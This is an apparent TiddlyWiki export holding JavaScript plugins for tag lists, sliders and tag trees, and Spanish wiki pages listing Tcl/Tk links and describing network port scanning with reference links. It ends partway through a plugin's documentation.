		var list = config.taggly.getTiddlers(title,this.getTagglyOpt(title,"sortBy"),isTagExpr);

		if (this.getTagglyOpt(title,"sortOrder") == "desc")
			list = list.reverse();

		var output = [];
		var first = true;
		for (var i=0;i<list.length;i++) {
			if (this.notHidden(list[i],title)) {
				var countString = this.getTaggingCount(list[i].title);
				var excerpt = this.getExcerpt(title,list[i].title);
				if (useCommas)
					output.push((first ? "" : ", ") + "[[" + list[i].title + "]]" + countString + excerpt);
				else
					output.push("*[[" + list[i].title + "]]" + countString + excerpt + "\n");

				first = false;
			}
		}

		return this.drawTable(place,
			this.makeColumns(output,useCommas ? 1 : parseInt(this.getTagglyOpt(title,"numCols"))),
			useCommas ? "commas" : "normal");
	},

	// this is for the "grouped" mode
	createTagglyListGrouped: function(place,title,isTagExpr) {
		var sortBy = this.getTagglyOpt(title,"sortBy");
		var sortOrder = this.getTagglyOpt(title,"sortOrder");

		var list = config.taggly.getTiddlers(title,sortBy,isTagExpr);

		if (sortOrder == "desc")
			list = list.reverse();

		var leftOvers = []
		for (var i=0;i<list.length;i++)
			leftOvers.push(list[i].title);

		var allTagsHolder = {};
		for (var i=0;i<list.length;i++) {
			for (var j=0;j<list[i].tags.length;j++) {

				if (list[i].tags[j] != title) { // not this tiddler

					if (this.notHidden(list[i].tags[j],title)) {

						if (!allTagsHolder[list[i].tags[j]])
							allTagsHolder[list[i].tags[j]] = "";

						if (this.notHidden(list[i],title)) {
							allTagsHolder[list[i].tags[j]] += "**[["+list[i].title+"]]"
										+ this.getTaggingCount(list[i].title) + this.getExcerpt(title,list[i].title) + "\n";

							leftOvers.setItem(list[i].title,-1); // remove from leftovers. at the end it will contain the leftovers

						}
					}
				}
			}
		}

		var allTags = [];
		for (var t in allTagsHolder)
			allTags.push(t);

		var sortHelper = function(a,b) {
			if (a == b) return 0;
			if (a < b) return -1;
			return 1;
		};

		allTags.sort(function(a,b) {
			var tidA = store.getTiddler(a);
			var tidB = store.getTiddler(b);
			if (sortBy == "title") return sortHelper(a,b);
			else if (!tidA && !tidB) return 0;
			else if (!tidA) return -1;
			else if (!tidB) return +1;
			else return sortHelper(tidA[sortBy],tidB[sortBy]);
		});

		var leftOverOutput = "";
		for (var i=0;i<leftOvers.length;i++)
			if (this.notHidden(leftOvers[i],title))
				leftOverOutput += "*[["+leftOvers[i]+"]]" + this.getTaggingCount(leftOvers[i]) + this.getExcerpt(title,leftOvers[i]) + "\n";

		var output = [];

		if (sortOrder == "desc")
			allTags.reverse();
		else if (leftOverOutput != "")
			// leftovers first...
			output.push(leftOverOutput);

		for (var i=0;i<allTags.length;i++)
			if (allTagsHolder[allTags[i]] != "")
				output.push("*[["+allTags[i]+"]]" + this.getTaggingCount(allTags[i]) + this.getExcerpt(title,allTags[i]) + "\n" + allTagsHolder[allTags[i]]);

		if (sortOrder == "desc" && leftOverOutput != "")
			// leftovers last...
			output.push(leftOverOutput);

		return this.drawTable(place,
				this.makeColumns(output,parseInt(this.getTagglyOpt(title,"numCols"))),
				"grouped");

	},

	// used to build site map
	treeTraverse: function(title,depth,sortBy,sortOrder,isTagExpr) {

		var list = config.taggly.getTiddlers(title,sortBy,isTagExpr);

		if (sortOrder == "desc")
			list.reverse();

		var indent = "";
		for (var j=0;j<depth;j++)
			indent += "*"

		var childOutput = "";

		if (depth > this.config.siteMapDepthLimit)
			childOutput += indent + this.lingo.tooDeepMessage;
		else
			for (var i=0;i<list.length;i++)
				if (list[i].title != title)
					if (this.notHidden(list[i].title,this.config.inTiddler))
						childOutput += this.treeTraverse(list[i].title,depth+1,sortBy,sortOrder,false);

		if (depth == 0)
			return childOutput;
		else
			return indent + "[["+title+"]]" + this.getTaggingCount(title) + this.getExcerpt(this.config.inTiddler,title,depth) + "\n" + childOutput;
	},

	// this if for the site map mode
	createTagglyListSiteMap: function(place,title,isTagExpr) {
		this.config.inTiddler = title; // nasty. should pass it in to traverse probably
		var output = this.treeTraverse(title,0,this.getTagglyOpt(title,"sortBy"),this.getTagglyOpt(title,"sortOrder"),isTagExpr);
		return this.drawTable(place,
				this.makeColumns(output.split(/(?=^\*\[)/m),parseInt(this.getTagglyOpt(title,"numCols"))), // regexp magic
				"sitemap"
				);
	},

	macros: {
		tagglyTagging: {
			handler: function (place,macroName,params,wikifier,paramString,tiddler) {
				var parsedParams = paramString.parseParams("tag",null,true);
				var refreshContainer = createTiddlyElement(place,"div");

				// do some refresh magic to make it keep the list fresh - thanks Saq
				refreshContainer.setAttribute("refresh","macro");
				refreshContainer.setAttribute("macroName",macroName);

				var tag = getParam(parsedParams,"tag");
				var expr = getParam(parsedParams,"expr");

				if (expr) {
					refreshContainer.setAttribute("isTagExpr","true");
					refreshContainer.setAttribute("title",expr);
					refreshContainer.setAttribute("showEmpty","true");
				}
				else {
					refreshContainer.setAttribute("isTagExpr","false");
					if (tag) {
        				refreshContainer.setAttribute("title",tag);
						refreshContainer.setAttribute("showEmpty","true");
					}
					else {
        				refreshContainer.setAttribute("title",tiddler.title);
						refreshContainer.setAttribute("showEmpty","false");
					}
				}
				this.refresh(refreshContainer);
			},

			refresh: function(place) {
				var title = place.getAttribute("title");
				var isTagExpr = place.getAttribute("isTagExpr") == "true";
				var showEmpty = place.getAttribute("showEmpty") == "true";
				removeChildren(place);
				addClass(place,"tagglyTagging");
				var countFound = config.taggly.getTiddlers(title,'title',isTagExpr).length
				if (countFound > 0 || showEmpty) {
					var lingo = config.taggly.lingo;
					config.taggly.createListControl(place,title,"hideState");
					if (config.taggly.getTagglyOpt(title,"hideState") == "show") {
						createTiddlyElement(place,"span",null,"tagglyLabel",
								isTagExpr ? lingo.labels.exprLabel.format([title]) : lingo.labels.label.format([title]));
						config.taggly.createListControl(place,title,"title");
						config.taggly.createListControl(place,title,"modified");
						config.taggly.createListControl(place,title,"created");
						config.taggly.createListControl(place,title,"listMode");
						config.taggly.createListControl(place,title,"excerpts");
						config.taggly.createListControl(place,title,"numCols");
						config.taggly.createTagglyList(place,title,isTagExpr);
						if (countFound == 0 && showEmpty)
							createTiddlyElement(place,"div",null,"tagglyNoneFound",lingo.labels.noneFound);
					}
				}
			}
		}
	},

	// todo fix these up a bit
	styles: [
"/*{{{*/",
"/* created by TagglyTaggingPlugin */",
".tagglyTagging { padding-top:0.5em; }",
".tagglyTagging li.listTitle { display:none; }",
".tagglyTagging ul {",
"	margin-top:0px; padding-top:0.5em; padding-left:2em;",
"	margin-bottom:0px; padding-bottom:0px;",
"}",
".tagglyTagging { vertical-align: top; margin:0px; padding:0px; }",
".tagglyTagging table { margin:0px; padding:0px; }",
".tagglyTagging .button { visibility:hidden; margin-left:3px; margin-right:3px; }",
".tagglyTagging .button, .tagglyTagging .hidebutton {",
"	color:[[ColorPalette::TertiaryLight]]; font-size:90%;",
"	border:0px; padding-left:0.3em;padding-right:0.3em;",
"}",
".tagglyTagging .button:hover, .hidebutton:hover, ",
".tagglyTagging .button:active, .hidebutton:active  {",
"	border:0px; background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]];",
"}",
".selected .tagglyTagging .button { visibility:visible; }",
".tagglyTagging .hidebutton { color:[[ColorPalette::Background]]; }",
".selected .tagglyTagging .hidebutton { color:[[ColorPalette::TertiaryLight]] }",
".tagglyLabel { color:[[ColorPalette::TertiaryMid]]; font-size:90%; }",
".tagglyTagging ul {padding-top:0px; padding-bottom:0.5em; margin-left:1em; }",
".tagglyTagging ul ul {list-style-type:disc; margin-left:-1em;}",
".tagglyTagging ul ul li {margin-left:0.5em; }",
".editLabel { font-size:90%; padding-top:0.5em; }",
".tagglyTagging .commas { padding-left:1.8em; }",
"/* not technically tagglytagging but will put them here anyway */",
".tagglyTagged li.listTitle { display:none; }",
".tagglyTagged li { display: inline; font-size:90%; }",
".tagglyTagged ul { margin:0px; padding:0px; }",
".excerpt { color:[[ColorPalette::TertiaryDark]]; }",
".excerptIndent { margin-left:4em; }",
"div.tagglyTagging table,",
"div.tagglyTagging table tr,",
"td.tagglyTagging",
" {border-style:none!important; }",
".tagglyTagging .contents { border-bottom:2px solid [[ColorPalette::TertiaryPale]]; padding:0 1em 1em 0.5em;",
"  margin-bottom:0.5em; }",
".tagglyTagging .indent1  { margin-left:3em;  }",
".tagglyTagging .indent2  { margin-left:4em;  }",
".tagglyTagging .indent3  { margin-left:5em;  }",
".tagglyTagging .indent4  { margin-left:6em;  }",
".tagglyTagging .indent5  { margin-left:7em;  }",
".tagglyTagging .indent6  { margin-left:8em;  }",
".tagglyTagging .indent7  { margin-left:9em;  }",
".tagglyTagging .indent8  { margin-left:10em; }",
".tagglyTagging .indent9  { margin-left:11em; }",
".tagglyTagging .indent10 { margin-left:12em; }",
".tagglyNoneFound { margin-left:2em; color:[[ColorPalette::TertiaryMid]]; font-size:90%; font-style:italic; }",
"/*}}}*/",
		""].join("\n"),

	init: function() {
		merge(config.macros,this.macros);
		config.shadowTiddlers["TagglyTaggingStyles"] = this.styles;
		store.addNotification("TagglyTaggingStyles",refreshStyles);
	}
};

config.taggly.init();

//}}}

/***
InlineSlidersPlugin
By Saq Imtiaz
http://tw.lewcid.org/sandbox/#InlineSlidersPlugin

// syntax adjusted to not clash with NestedSlidersPlugin
// added + syntax to start open instead of closed

***/
//{{{
config.formatters.unshift( {
	name: "inlinesliders",
	// match: "\\+\\+\\+\\+|\\<slider",
	match: "\\<slider",
	// lookaheadRegExp: /(?:\+\+\+\+|<slider) (.*?)(?:>?)\n((?:.|\n)*?)\n(?:====|<\/slider>)/mg,
	lookaheadRegExp: /(?:<slider)(\+?) (.*?)(?:>)\n((?:.|\n)*?)\n(?:<\/slider>)/mg,
	handler: function(w) {
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source)
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart ) {
			var btn = createTiddlyButton(w.output,lookaheadMatch[2] + " "+"\u00BB",lookaheadMatch[2],this.onClickSlider,"button sliderButton");
			var panel = createTiddlyElement(w.output,"div",null,"sliderPanel");
			panel.style.display = (lookaheadMatch[1] == '+' ? "block" : "none");
			wikify(lookaheadMatch[3],panel);
			w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
		}
   },
   onClickSlider : function(e) {
		if(!e) var e = window.event;
		var n = this.nextSibling;
		n.style.display = (n.style.display=="none") ? "block" : "none";
		return false;
	}
});

//}}}
/***
|''Name:''|TagsTreePlugin|
|''Description:''|Displays tags hierachy as a tree of tagged tiddlers.<br>Can be used to create dynamic outline navigation.|
|''Version:''|1.0.1|
|''Date:''|Jan 04,2008|
|''Source:''|http://visualtw.ouvaton.org/VisualTW.html|
|''Author:''|Pascal Collin|
|''License:''|[[BSD open source license|License]]|
|''~CoreVersion:''|2.1.0|
|''Browser:''|Firefox 2.0; InternetExplorer 6.0|
!Demo
On the plugin [[homepage|http://visualtw.ouvaton.org/VisualTW.html]] :
*Try to tag some <<newTiddler>> with a tag displayed in the menu and edit MainMenu.
*Look at some tags like [[Plugins]] or [[menu]].
!Installation
#import the plugin,
#save and reload,
#optionally, edit TagsTreeStyleSheet.
! Usage
{{{<<tagsTree>>}}} macro accepts the following //optional// parameters.
|!#|!parameter|!description|!by default|
|1|{{{root}}}|Uses {{{root}}} tag as tree root|- In a //tiddler// content or template : uses the tiddler as root tag.<br>- In the //page// content or template (by ex MainMenu) : displays all untagged tags.|
|2|{{{includeTag}}}|Listed tiddlers must have this tag|"section"|
|3|{{{excludeTag}}}|Excludes all such tagged tiddlers from the tree|Uses default excludeLists tag|
|4|{{{level}}}|Expands nodes until level {{{level}}}.<br>Value {{{0}}} hides expand/collapse buttons.|Nodes are collapsed on first level|
|5|{{{depth}}}|Hierachy depth|6 levels depth (H1 to H6 header styles)|
|6|{{{sortField}}}|Alternate sort field. By example : "index".|Sorts tags and tiddlers alphabetically (on their title)|
|7|{{{labelField}}}|Alertnate label field. By example : "label".|Displays tiddler's title|

!Useful addons
*[[FieldsEditorPlugin]] : //create//, //edit//, //view// and //delete// commands in toolbar <<toolbar fields>>.
*[[TaggerPlugin]] : Provides a drop down listing current tiddler tags, and allowing toggling of tags.
!Advanced Users
You can change the global defaults for TagsTreePlugin, like default {{{level}}} value or level styles, by editing or overriding the first config.macros.tagsTree attributes below.
!Code
***/
//{{{
config.macros.tagsTree = {
    expand : "+",
    collapse : "–",
    depth : 6,
    level : 1,
    sortField : "",
    labelField : "",
    tagsTree: "excludeTagsTree",
    includeTag: "includeTag",
    styles : ["h2","h3","h4","h5","h6", "b"],//["h1","h2","h3","h4","h5","h6"],
    trees : {}
}

config.macros.tagsTree.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
    var prms = paramString.parseParams("anon", null, true);
    var root = getParam(prms, "root") || params[0] ||(tiddler ? tiddler.title : null);
    var includeTag = getParam(prms, "includeTag") || params[1] ||(tiddler ? tiddler.title : null);
    var excludeTag = getParam(prms, "excludeTag") || config.macros.tagsTree.excludeTag;
    var level = getParam(prms, "level") || config.macros.tagsTree.level;
    var depth = getParam(prms, "depth") || config.macros.tagsTree.depth;
    var sortField = getParam(prms, "sortField") || config.macros.tagsTree.sortField;
    var labelField = getParam(prms, "labelField") || config.macros.tagsTree.labelField;
    var showButtons = (level>0);
    var id = config.macros.tagsTree.getId(place);
    if(console&&console.debug)console.debug("includeTag: "+includeTag+", excludeTag:"+excludeTag);
    /*
    var root = params[0] ? params[0] : (tiddler ? tiddler.title : null);
    var includeTag = params[1] ? params[1] : "section";
    var excludeTag = params[2 ? params[2] : "excludeTagsTree";
    var level = params[3] ? params[3] : config.macros.tagsTree.level;
    var depth = params[4] ? params[4] : config.macros.tagsTree.depth;
    var sortField = params[5] ? params[5] : config.macros.tagsTree.sortField;
    var labelField = params[6] ? params[6] : config.macros.tagsTree.labelField;
    var showButtons = (level>0);
    var id = config.macros.tagsTree.getId(place);
    */

    if (config.macros.tagsTree.trees[id]==undefined) config.macros.tagsTree.trees[id]={};
    config.macros.tagsTree.createSubTree(place,id,root,includeTag,excludeTag,[],level>0 ? level : 1,depth, sortField, labelField,showButtons);
}

config.macros.tagsTree.createSubTree = function(place, id, root, includeTag, excludeTag, ancestors, level, depth, sortField, labelField,showButtons){
    var childNodes = root ? this.getChildNodes(root, includeTag, excludeTag, ancestors) : this.getRootTags(includeTag, excludeTag, root);//(excludeTag);
    var isOpen = (level>0) || (!showButtons);
    if (root && this.trees[id][root]!=undefined) isOpen = this.trees[id][root];
    if (root && ancestors.length) {
        var t = store.getTiddler(root);
        if (childNodes.length && depth>0) {
            var wrapper = createTiddlyElement(place , this.styles[Math.min(Math.max(ancestors.length,1),6)-1],null,"branch");
            if (showButtons) {
                b = createTiddlyButton(wrapper, isOpen ? config.macros.tagsTree.collapse : config.macros.tagsTree.expand, null, config.macros.tagsTree.onClick);
                b.setAttribute("treeId",id);
                b.setAttribute("tiddler",root);
            }
            createTiddlyText(createTiddlyLink(wrapper, root),t&&labelField ? t.fields[labelField] ? t.fields[labelField] : root : root);
        }
        else
            createTiddlyText(createTiddlyLink(place, root,false,"leaf"),t&&labelField ? t.fields[labelField] ? t.fields[labelField] : root : root);
    }
    if (childNodes.length && depth) {
        var d = createTiddlyElement(place,"div",null,"subtree");
        d.style.display= isOpen ? "block" : "none";
        if (sortField)
            childNodes.sort(function(a, b){
                var fa=a.fields[sortField];
                var fb=b.fields[sortField];
                return (fa==undefined && fb==undefined) ? a.title < b.title ? -1 : a.title > b.title ? 1 : 0 : (fa==undefined && fb!=undefined) ? 1 :(fa!=undefined && fb==undefined) ? -1 : fa < fb ? -1 : fa > fb ? 1 : 0;
            })
        for (var cpt=0; cpt<childNodes.length; cpt++){
            this.createSubTree(d, id, childNodes[cpt].title, includeTag, excludeTag, ancestors.concat(root), level-1, depth-1, sortField, labelField, showButtons);
        }
    }
}

config.macros.tagsTree.onClick = function(e){
    var id = this.getAttribute("treeId");
    var tiddler = this.getAttribute("tiddler");
    var n = this.parentNode.nextSibling;
    var isOpen = n.style.display != "none";
    if(config.options.chkAnimate && anim && typeof Slider == "function"){
        anim.startAnimating(new Slider(n,!isOpen,null,"none"));
    }else{
        n.style.display = isOpen ? "none" : "block";
    }
    this.firstChild.nodeValue = isOpen ? config.macros.tagsTree.expand : config.macros.tagsTree.collapse;
    config.macros.tagsTree.trees[id][tiddler]=!isOpen;
    return false;
}

config.macros.tagsTree.getChildNodes = function(root, includeTag, excludeTag, ancestors){
    var childs = store.getTaggedTiddlers(root);
    var result = new Array();
    for (var cpt=0; cpt<childs.length; cpt++){
        var t = childs[cpt];
        if (t.isTagged(excludeTag)&&!t.isTagged(includeTag)){ //nuevo: includeTag
            continue;
        }
        if (t.title!=root && ancestors.indexOf(childs[cpt].title)==-1){
            result.push(t);
        }
    }
    return result;
}

config.macros.tagsTree.getRootTags = function(includeTag, excludeTag, root){
    var tags = store.getTags(root);
    tags.sort(function(a,b) {return a[0].toLowerCase() < b[0].toLowerCase() ? -1 : (a[0].toLowerCase() == b[0].toLowerCase() ? 0 : +1);});
    var result = new Array();
    for (var cpt=0; cpt<tags.length; cpt++) {
        var t = store.getTiddler(tags[cpt][0]);
        if (t.isTagged(excludeTag)&&!t.isTagged(includeTag)){//Check excludeTag nuevo
            continue;
        }
        if (!t || t.tags.length==0){
            result.push(t ? t : {title:tags[cpt][0],fields:{}});
        }
    }
    return result;
}

config.macros.tagsTree.getId = function(element){
    while (!element.id && element.parentNode) element=element.parentNode;
    return element.id ? element.id : "<html>";
}

config.shadowTiddlers.TagsTreeStyleSheet = "/*{{{*/\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".leaf, .subtree {display:block; margin-left : 0.5em}\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".subtree {margin-bottom:0.5em}\n";
config.shadowTiddlers.TagsTreeStyleSheet +="#mainMenu {text-align:left}\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".branch .button {border:1px solid #DDD; color:#AAA;font-size:9px;padding:0 2px;margin-right:0.3em;vertical-align:middle;text-align:center;}\n";
config.shadowTiddlers.TagsTreeStyleSheet +="/*}}}*/";

store.addNotification("TagsTreeStyleSheet", refreshStyles);

config.shadowTiddlers.MainMenu="<<tagsTree>>"

config.shadowTiddlers.PageTemplate = config.shadowTiddlers.PageTemplate.replace(/id='mainMenu' refresh='content' /,"id='mainMenu' refresh='content' force='true' ")

//}}}
/***
|''Name:''|TagsTreePlugin|
|''Description:''|Displays tags hierachy as a tree of tagged tiddlers.<br>Can be used to create dynamic outline navigation.|
|''Version:''|1.0.1|
|''Date:''|Jan 04,2008|
|''Source:''|http://visualtw.ouvaton.org/VisualTW.html|
|''Author:''|Pascal Collin|
|''License:''|[[BSD open source license|License]]|
|''~CoreVersion:''|2.1.0|
|''Browser:''|Firefox 2.0; InternetExplorer 6.0|
!Demo
On the plugin [[homepage|http://visualtw.ouvaton.org/VisualTW.html]] :
*Try to tag some <<newTiddler>> with a tag displayed in the menu and edit MainMenu.
*Look at some tags like [[Plugins]] or [[menu]].
!Installation
#import the plugin,
#save and reload,
#optionally, edit TagsTreeStyleSheet.
! Usage
{{{<<tagsTree>>}}} macro accepts the following //optional// parameters.
|!#|!parameter|!description|!by default|
|1|{{{root}}}|Uses {{{root}}} tag as tree root|- In a //tiddler// content or template : uses the tiddler as root tag.<br>- In the //page// content or template (by ex MainMenu) : displays all untagged tags.|
|2|{{{excludeTag}}}|Excludes all such tagged tiddlers from the tree|Uses default excludeLists tag|
|3|{{{level}}}|Expands nodes until level {{{level}}}.<br>Value {{{0}}} hides expand/collapse buttons.|Nodes are collapsed on first level|
|4|{{{depth}}}|Hierachy depth|6 levels depth (H1 to H6 header styles)|
|5|{{{sortField}}}|Alternate sort field. By example : "index".|Sorts tags and tiddlers alphabetically (on their title)|
|6|{{{labelField}}}|Alertnate label field. By example : "label".|Displays tiddler's title|

!Useful addons
*[[FieldsEditorPlugin]] : //create//, //edit//, //view// and //delete// commands in toolbar <<toolbar fields>>.
*[[TaggerPlugin]] : Provides a drop down listing current tiddler tags, and allowing toggling of tags.
!Advanced Users
You can change the global defaults for TagsTreePlugin, like default {{{level}}} value or level styles, by editing or overriding the first config.macros.tagsTree attributes below.
!Code
***/
//{{{
config.macros.tagsTree = {
    expand : "+",
    collapse : "–",
    depth : 6,
    level : 1,
    sortField : "",
    labelField : "",
    tagsTree: "excludeTagsTree",
    styles : ["h1","h2","h3","h4","h5","h6"],
    trees : {}
}

config.macros.tagsTree.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
    var prms = paramString.parseParams("anon", null, true);
    var root = getParam(prms, "root") || (tiddler ? tiddler.title : null);
    var excludeTag = getParam(prms, "excludeTag") || config.macros.tagsTree.excludeTag;
    var level = getParam(prms, "level") || config.macros.tagsTree.level;
    var depth = getParam(prms, "depth") || config.macros.tagsTree.depth;
    var sortField = getParam(prms, "sortField") || config.macros.tagsTree.sortField;
    var labelField = getParam(prms, "labelField") || config.macros.tagsTree.labelField;
    var showButtons = (level>0);
    var id = config.macros.tagsTree.getId(place);
    /*
    var root = params[0] ? params[0] : (tiddler ? tiddler.title : null);
    var excludeTag = params[1] ? params[1] : "excludeTagsTree";
    var level = params[2] ? params[2] : config.macros.tagsTree.level;
    var depth = params[3] ? params[3] : config.macros.tagsTree.depth;
    var sortField = params[4] ? params[4] : config.macros.tagsTree.sortField;
    var labelField = params[5] ? params[5] : config.macros.tagsTree.labelField;
    var showButtons = (level>0);
    var id = config.macros.tagsTree.getId(place);
    */

    if (config.macros.tagsTree.trees[id]==undefined) config.macros.tagsTree.trees[id]={};
    config.macros.tagsTree.createSubTree(place,id,root,excludeTag,[],level>0 ? level : 1,depth, sortField, labelField,showButtons);
}

config.macros.tagsTree.createSubTree = function(place, id, root, excludeTag, ancestors, level, depth, sortField, labelField,showButtons){
    var childNodes = root ? this.getChildNodes(root, ancestors) : this.getRootTags(excludeTag);
    var isOpen = (level>0) || (!showButtons);
    if (root && this.trees[id][root]!=undefined) isOpen = this.trees[id][root];
    if (root && ancestors.length) {
        var t = store.getTiddler(root);
        if (childNodes.length && depth>0) {
            var wrapper = createTiddlyElement(place , this.styles[Math.min(Math.max(ancestors.length,1),6)-1],null,"branch");
            if (showButtons) {
                b = createTiddlyButton(wrapper, isOpen ? config.macros.tagsTree.collapse : config.macros.tagsTree.expand, null, config.macros.tagsTree.onClick);
                b.setAttribute("treeId",id);
                b.setAttribute("tiddler",root);
            }
            createTiddlyText(createTiddlyLink(wrapper, root),t&&labelField ? t.fields[labelField] ? t.fields[labelField] : root : root);
        }
        else
            createTiddlyText(createTiddlyLink(place, root,false,"leaf"),t&&labelField ? t.fields[labelField] ? t.fields[labelField] : root : root);
    }
    if (childNodes.length && depth) {
        var d = createTiddlyElement(place,"div",null,"subtree");
        d.style.display= isOpen ? "block" : "none";
        if (sortField)
            childNodes.sort(function(a, b){
                var fa=a.fields[sortField];
                var fb=b.fields[sortField];
                return (fa==undefined && fb==undefined) ? a.title < b.title ? -1 : a.title > b.title ? 1 : 0 : (fa==undefined && fb!=undefined) ? 1 :(fa!=undefined && fb==undefined) ? -1 : fa < fb ? -1 : fa > fb ? 1 : 0;
            })
        for (var cpt=0; cpt<childNodes.length; cpt++)
            this.createSubTree(d, id, childNodes[cpt].title, excludeTag, ancestors.concat(root), level-1, depth-1, sortField, labelField, showButtons);
    }
}

config.macros.tagsTree.onClick = function(e){
    var id = this.getAttribute("treeId");
    var tiddler = this.getAttribute("tiddler");
    var n = this.parentNode.nextSibling;
    var isOpen = n.style.display != "none";
    if(config.options.chkAnimate && anim && typeof Slider == "function")
        anim.startAnimating(new Slider(n,!isOpen,null,"none"));
    else
        n.style.display = isOpen ? "none" : "block";
    this.firstChild.nodeValue = isOpen ? config.macros.tagsTree.expand : config.macros.tagsTree.collapse;
    config.macros.tagsTree.trees[id][tiddler]=!isOpen;
    return false;
}

config.macros.tagsTree.getChildNodes = function(root ,ancestors){
    var childs = store.getTaggedTiddlers(root);
    var result = new Array();
    for (var cpt=0; cpt<childs.length; cpt++)
        if (childs[cpt].title!=root && ancestors.indexOf(childs[cpt].title)==-1) result.push(childs[cpt]);
    return result;
}

config.macros.tagsTree.getRootTags = function(excludeTag){
    var tags = store.getTags(excludeTag);
    tags.sort(function(a,b) {return a[0].toLowerCase() < b[0].toLowerCase() ? -1 : (a[0].toLowerCase() == b[0].toLowerCase() ? 0 : +1);});
    var result = new Array();
    for (var cpt=0; cpt<tags.length; cpt++) {
        var t = store.getTiddler(tags[cpt][0]);
        if (!t || t.tags.length==0) result.push(t ? t : {title:tags[cpt][0],fields:{}});
    }
    return result;
}

config.macros.tagsTree.getId = function(element){
    while (!element.id && element.parentNode) element=element.parentNode;
    return element.id ? element.id : "<html>";
}

config.shadowTiddlers.TagsTreeStyleSheet = "/*{{{*/\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".leaf, .subtree {display:block; margin-left : 0.5em}\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".subtree {margin-bottom:0.5em}\n";
config.shadowTiddlers.TagsTreeStyleSheet +="#mainMenu {text-align:left}\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".branch .button {border:1px solid #DDD; color:#AAA;font-size:9px;padding:0 2px;margin-right:0.3em;vertical-align:middle;text-align:center;}\n";
config.shadowTiddlers.TagsTreeStyleSheet +="/*}}}*/";

store.addNotification("TagsTreeStyleSheet", refreshStyles);

config.shadowTiddlers.MainMenu="<<tagsTree>>"

config.shadowTiddlers.PageTemplate = config.shadowTiddlers.PageTemplate.replace(/id='mainMenu' refresh='content' /,"id='mainMenu' refresh='content' force='true' ")


//}}}
<<showtoc>>
! Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia sobre Tcl: http://es.wikipedia.org/wiki/Tcl
* Artículo de la Wikipedia sobre Tk: http://es.wikipedia.org/wiki/Tk
* Tutorial de la Universidad de Oviedo: http://www6.uniovi.es/tcl/tutorial/
* Intérprete de Active State: http://www.tcl.tk/software/tcltk/
* Tutorial de Tcl/Tk: http://www.bin-co.com/tcl/tutorial/contents.php
* Documentación de Tk: http://www.tkdocs.com/tutorial/complex.html
* Referencia de comandos Tk: http://www.tcl.tk/man/tcl8.5/TkCmd/contents.htm
* Tcl/Tk cookbook: http://www.cis.rl.ac.uk/publications/cookbook/
* Tutoriales de creación de GUIs con Tk: http://www.tkdocs.com/
* Interfaces complejas con TK en varios lenguajes: http://www.tkdocs.com/tutorial/complex.html

!! TkInter (Tk en Python)
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Tkinter
* Python Mega Widgets (PMW): http://pmw.sourceforge.net/
* TkInter en [[Python]]: http://wiki.python.org/moin/TkInter
* Introducción a TkInter en Python: http://www.pythonware.com/library/tkinter/introduction/
* Thinking in TkInter:http://thinkingtkinter.sourceforge.net/
* TkInter Reference: http://infohost.nmt.edu/tcc/help/pubs/tkinter/
* GUI Programming With TkInter: http://www.freenetpages.co.uk/hp/alan.gauld/tutgui.htm
* Artículo de la serie "Charming Python": http://www.ibm.com/developerworks/linux/library/l-tkprg/
* Posicionador "grid": http://effbot.org/tkinterbook/grid.htm

!! [[IDEs|IDE]]
* """TKproE""": http://tkproe.sourceforge.net/
* Visual Tcl: http://vtcl.sourceforge.net/
* Pure Tk: http://puretkgui.sourceforge.net/
* Visual TkInter: http://visualtkinter.sourceforge.net/
* Eclipse TK-UI: http://wiki.eclipse.org/Eclipse/Incubator/TK-UI
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Técnicas de escaneo de redes y ordenadores. Estas técnicas tiene por finalidad obtener información de una red o de una máquina conectada a una red. Por lo general no son técnicas perjudiciales perjudiciales, aunque un lanzamiento indiscriminado de técnicas de escaneo sobre una máquina podría sobrecargarla y producir un cuelgue (DoS)
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Port_scanner
** Escaneo de puertos mediante flags TCP: http://sun-microsystems.org/Tecnicas_de_Deteccion/x215.html
** Escaneando con NMAP: http://www.wikilearning.com/tutorial/escaneando_con_nmap-introduccion/4913-1
** Escaneo de puertos en UNIX: http://www.ibiblio.org/pub/linux/docs/LuCaS/Manuales-LuCAS/doc-unixsec/unixsec-html/node273.html
** Port Scanning Techniques: http://nmap.org/book/man-port-scanning-techniques.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|Name|TemporaryTiddlersPlugin|
|Source|http://www.TiddlyTools.com/#TemporaryTiddlersPlugin|
|Version|1.1.2|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|blocks tiddlers tagged with "temporary" from being saved into the TW file|
!!!!!Usage
<<<
When the TW document is saved (either to local disk or remote URL), any tiddlers tagged with "temporary" will be skipped over, so that they are not written to the file.  To keep a temporary tiddler, simply edit it and remove the tag before saving the file.  This feature can be combined with various plugins that can automatically create new tiddlers, such as [[SearchOptionsPlugin]] ([[SearchResults]]) and [[ImportTiddlersPlugin]] ([[ImportedTiddlers]]) so that these transient results are not retained when you save you document.

You can also use this tag with the {{{<<loadTiddlers>>}}} macro and the //auto-tagging// features provided by [[ImportTiddlersPlugin]], so that each time you open your document, you can automatically retrieve an up-to-date set of common tiddlers that are stored in another document (either local or via remote URL), without those tiddlers being retained when you save your document.
<<<
!!!!!Configuration
<<<
When saving the document:
<<option chkTemporaryQuiet>> Suppress reporting of individual temporary tiddlers that have not been saved
